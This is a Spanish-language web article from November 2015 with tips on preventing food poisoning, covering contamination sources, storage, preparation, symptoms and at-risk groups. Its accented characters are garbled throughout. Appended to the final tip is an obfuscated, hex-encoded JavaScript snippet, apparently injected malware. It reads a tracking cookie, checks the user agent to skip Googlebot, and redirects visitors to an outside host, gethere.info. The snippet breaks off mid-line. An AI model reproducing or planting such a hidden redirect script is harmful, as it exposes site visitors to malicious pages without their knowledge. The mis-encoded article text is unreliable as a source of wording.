Entretenimiento

22 Nov 2015
Entretenimiento | Por: Redacción

Te contamos cA?mo evitar intoxicarte con alimentos

La intoxicaciA?n por ingesta de alimentos es algo que nadie quisiera experimentar, por ello, te damos algunos consejos e informaciA?n para evitarlos mientras podA?s o saber cA?mo actuar en dado caso te llegara a suceder.

Fuente: wikihow.com

Tan importante como elegir quAi?? comemos es el modo en que compramos, guardamos y cocinamos. Prevenir y evitar las intoxicaciones alimentarias, que son mA?s comunes durante el verano ya que las bacterias necesitan temperaturas entre 36 y 37 grados para vivir y reproducirse, deberAi??a ser un propA?sito de todos. SegA?n datos de la OrganizaciA?n Mundial de la Salud (OMS), las enfermedades diarreicas transmitidas por los alimentos y el agua afectan a unos 2,2 millones de personas cada aAi??o. De ellas, 1,9 millones son niAi??os.

En la mayorAi??a de casos la intoxicaciA?n es leve y los sAi??ntomas desaparecen en dos o tres dAi??as. Los alimentos susceptibles de estar contaminados son variados y las bacterias pueden estar presentes en cualquiera de ellos. La intoxicaciA?n se produce cuando ingerimos alimentos, ya sea comida o bebida, que contienen microorganismos tA?xicos. AquAi?? algunos tips que no podAi??s obviar.

1- A?QuAi?? ocasiona la intoxicaciA?n alimentaria? Normalmente es causada por ingerir comida o bebida contaminada, ya sea con quAi??micos (como insecticidas o toxinas alimentarias, incluyendo los hongos, o infecciones gastrointestinales de bacterias, virus o parA?sitos). La mayorAi??a de personas se refiere como intoxicaciA?n alimentaria a cualquiera de estas fuentes posibles.

2- El riesgo del cultivo de alimentos y sus factores ambientales. Los factores ambientales y el proceso de cultivo de alimentos pueden jugar un papel en la transferencia de bacterias que podrAi??an contaminar los alimentos. El uso de quAi??micos, fertilizantes, estiAi??rcoles, etc., tiene el potencial de contaminar los alimentos al cultivarlos. Nunca esperAi??s que un producto se lave antes de dejar el lugar donde fueron cultivados. Las bacterias, parA?sitos y mA?s viajan tranquilamente en el viento, flotan en el agua, viajan en el polvo y residen cA?modamente en la tierra. Son parte de la red de vida de la naturaleza y siempre serA?n una fuente posible de contaminaciA?n si no se les maneja apropiadamente.

3- El procesamiento de alimentos. Ya sea en una fA?brica grande o en tu propia cocina, el procesamiento de alimentos puede ser una fuente importante de contaminaciA?n. Las A?reas que se usen para el procesamiento tienen que mantenerse escrupulosamente limpias o la contaminaciA?n cruzada puede ocurrir fA?cilmente, sobre todo con productos de carne. Las bacterias naturales que residen en los intestinos de los animales son una fuente importante de contaminaciA?n cruzada (cuando no se las maneja correctamente).

4- El almacenamiento de alimentos. Los alimentos almacenados incorrectamente pueden ser los culpables de la transferencia de contaminantes de un alimento a otro. Esta es un A?rea muy complicada porque a menudo la gente no piensa que ciertos alimentos pueden ser una fuente de contaminaciA?n y no estA? consciente de que ha ocurrido la contaminaciA?n cruzada.

Por ejemplo, si un muslo de pollo crudo se deja junto a un racimo de uvas, esto podrAi??a ser una causa de contaminaciA?n e intoxicaciA?n alimentaria.

5- La preparaciA?n de la comida. Una gran cantidad de contaminaciA?n alimentaria ocurre durante la etapa de preparaciA?n. Una persona enferma puede transmitir gAi??rmenes, desde la gripe hasta la gastroenteritis. Una tabla de cortar que se haya usado para carne que no se haya lavado y luego se haya usado para vegetales, es otra fuente posible de contaminaciA?n. Las manos sin lavar, los espacios de cocina sucios, los insectos y los roedores en la cocina, son fuentes posibles de contaminaciA?n alimentaria.

6- ReconocAi?? los sAi??ntomas de la intoxicaciA?n alimentaria. Si alguna vez has experimentado la intoxicaciA?n alimentaria, sabrA?s lo desagradable que es. Los sAi??ntomas pueden variar ligeramente dependiendo de la severidad de la intoxicaciA?n, pero la mayorAi??a de gente experimenta una combinaciA?n de lo siguiente: nA?useas y vA?mitos, diarrea acuosa (potencialmente con sangrado), dolor abdominal, cA?licos, y fiebre. Los sAi??ntomas pueden comenzar tan pronto como varias horas despuAi??s de consumir los alimentos contaminados o hasta varias semanas despuAi??s.

7- Grupos de alto riesgo a intoxicarse. Hay personas de ciertos grupos que pueden correr mA?s riesgo de sufrir una intoxicaciA?n, como las mujeres embarazadas, los niAi??os muy pequeAi??os, las personas con sistemas inmunolA?gicos debilitados y los ancianos, por lo que deben tener mA?s cuidado a la hora de ingerir sus alimentos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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